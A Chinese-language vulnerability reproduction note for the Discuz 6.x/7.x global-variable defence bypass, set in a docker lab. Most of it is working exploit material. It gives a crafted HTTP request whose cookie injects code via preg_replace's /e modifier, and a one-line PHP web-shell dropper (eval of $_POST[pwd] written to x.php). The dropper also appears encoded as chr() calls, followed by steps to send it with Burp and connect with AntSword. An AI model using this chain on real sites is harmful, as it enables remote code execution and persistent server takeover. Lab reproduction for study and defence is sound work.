1.漏洞原理
? 由于php5.3 x版本里php.ini的设置request_order默认值为GP,导致Discuz 6.x/7.x全局变量防御绕过漏洞。
2.漏洞环境
? 执行docker-compose up -d 启动后,访问http://192.168.254.202:8080/install 来安装discuz
? 数据库地址db ,数据库名为discuz ,数据库账号密码均为root
3.漏洞复现
安装成功后,直接找一个已存在的帖子,向其发送数据包,并在Cookie中增加GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
GET /viewthread.php?tid=13&extra=page%3D1 HTTP/1.1
Host: 192.168.254.202:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.254.202:8080/forumdisplay.php?fid=2
Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
Upgrade-Insecure-Requests: 1
写入一句话脚本:eval(fputs(fopen('x.php','w'),'<?php @eval($_POST[pwd])?>');));
转成ASCII码形式
chr(101).chr(118).chr(97).chr(108).chr(40).chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(120).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(64).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(112).chr(119).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(41).chr(59)
使用Burp 修改数据包
使用蚁剑链接目标服务器
|